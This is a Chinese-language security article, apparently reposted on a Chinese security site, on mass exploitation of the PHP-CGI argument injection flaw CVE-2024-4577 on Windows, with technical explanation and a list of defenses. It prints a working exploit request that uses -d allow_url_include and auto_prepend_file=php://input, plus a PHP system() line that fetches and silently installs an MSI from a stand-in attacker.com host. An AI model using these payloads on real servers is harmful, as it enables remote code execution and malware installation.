PHP 参数注入漏洞(CVE-2024-4577)遭大规模利用:深入剖析、实战攻击演示与全方位防御指南

admin 2025年3月24日10:20:33评论30 views字数 2168阅读7分13秒阅读模式
PHP 参数注入漏洞(CVE-2024-4577)遭大规模利用:深入剖析、实战攻击演示与全方位防御指南

近日,网络安全领域再次拉响警报。威胁行动者正在积极利用 PHP 中的一个严重安全漏洞(CVE-2024-4577),向受害者系统植入加密货币挖矿机(如 XMRig)和 Quasar RAT 等远程访问木马。

漏洞技术细节:

该漏洞被命名为 CVE-2024-4577,是一个存在于 PHP 中的参数注入漏洞,影响在 CGI 模式下运行的基于 Windows 的系统。具体来说,当 PHP 在 Windows 上以 CGI 模式运行,并且系统代码页为 CP932、CP936、CP949、CP950 或 CP951 时,如果使用了特定的编码转换(Best-Fit 字符映射),攻击者可以通过构造恶意的请求参数,绕过 PHP 的安全检查,将额外的参数传递给 PHP 解释器。受影响的PHP版本包括:

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29

Best-Fit 字符映射:

Best-Fit 字符映射是 Windows 操作系统中的一种字符编码转换机制。当一个字符在目标编码中没有直接对应的字符时,Windows 会尝试找到一个“最佳匹配”的字符来代替。例如,在某些情况下,Unicode 字符 uFF0D(全角连字符)可能会被映射为 ASCII 字符 -(连字符)。这种映射关系可能被攻击者利用,绕过安全检查。

CGI 模式与 Windows 特性:

CGI(Common Gateway Interface)是一种允许 Web 服务器与外部程序(如 PHP 解释器)交互的协议。在 CGI 模式下,PHP 解释器作为一个独立的进程运行,并通过环境变量和标准输入/输出来接收和处理来自 Web 服务器的请求。

在 Windows 系统上,当 PHP 处于 CGI 模式并处理包含特定编码字符的请求时,由于 Best-Fit 字符映射功能的存在以及Windows对命令行参数处理的特性,可能会导致参数解析错误,从而为攻击者提供了注入额外参数的机会。

攻击手法:

攻击者通常会构造一个包含特殊编码字符(如 uFF0D)的 HTTP 请求,例如:

GET /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencoded<?php phpinfo(); ?>

在这个例子中,攻击者利用 -d 选项来设置 PHP 配置指令 allow_url_include 和 auto_prepend_fileallow_url_include 允许包含远程文件,auto_prepend_file 指定在每个 PHP 脚本执行前自动包含的文件。通过将 auto_prepend_file 设置为 php://input,攻击者可以将 POST 请求中的数据(<?php phpinfo(); ?>)作为 PHP 代码执行,从而获取服务器信息。

更进一步,攻击者可以利用 PHP 的 system() 或 exec() 函数,结合 cmd.exe 的命令行参数,从远程服务器下载并执行恶意文件,例如:

<?phpsystem("cmd.exe /c msiexec /i http://attacker.com/malicious.msi /qn");?>

LOTL工具利用:

攻击者常使用系统内置的"Living Off The Land" (LOTL) 工具, 如 PowerShell 或 cmd.exe, 来进行侦察、横向移动和执行恶意载荷。

防御建议:

  1. 立即更新:
     强烈建议用户将其 PHP 安装更新到最新版本(例如,PHP 8.3.8、8.2.20、8.1.29 或更高版本)。
  2. 禁用 CGI 模式(如果可能):
    • Apache:
       如果您使用的是 Apache Web 服务器,可以通过修改 httpd.conf 或 .htaccess 文件,移除或注释掉与 CGI 相关的配置指令(如 AddHandler cgi-script .php)。
    • IIS:
       如果您使用的是 IIS Web 服务器,可以在 IIS 管理器中禁用 CGI 模块。
    • Nginx:
       如果您使用的是 Nginx,通常不会使用 CGI 模式,而是使用 FastCGI(如 PHP-FPM)。
  3. Web 应用防火墙 (WAF):
     部署 WAF 可以帮助检测和阻止针对此漏洞的攻击,WAF 规则应配置为阻止包含恶意参数的请求。
  4. 输入验证:
     对所有用户输入进行严格的验证和过滤,防止恶意参数注入。特别注意对 URL 参数、请求头和 POST 数据的验证。
  5. 限制 PowerShell 使用:
     考虑限制在环境中使用 PowerShell 等 LOTL 工具,仅限管理员等特权用户使用。可以通过组策略或其他安全配置来实现。
  6. 禁用不必要的PHP函数:
     如果应用不需要, 禁用 system()exec()passthru()shell_exec() 等可能被用于执行系统命令的 PHP 函数。
  7. 最小权限原则:
     确保Web服务器和PHP进程以尽可能低的权限运行。

Bitdefender 还观察到,有攻击者试图修改易受攻击服务器上的防火墙配置。这种行为表明,不同的加密货币挖矿团伙可能正在争夺资源。

原文始发于微信公众号(技术修道场):PHP 参数注入漏洞(CVE-2024-4577)遭大规模利用:深入剖析、实战攻击演示与全方位防御指南

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月24日10:20:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP 参数注入漏洞(CVE-2024-4577)遭大规模利用:深入剖析、实战攻击演示与全方位防御指南https://cn-sec.com/archives/3876937.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息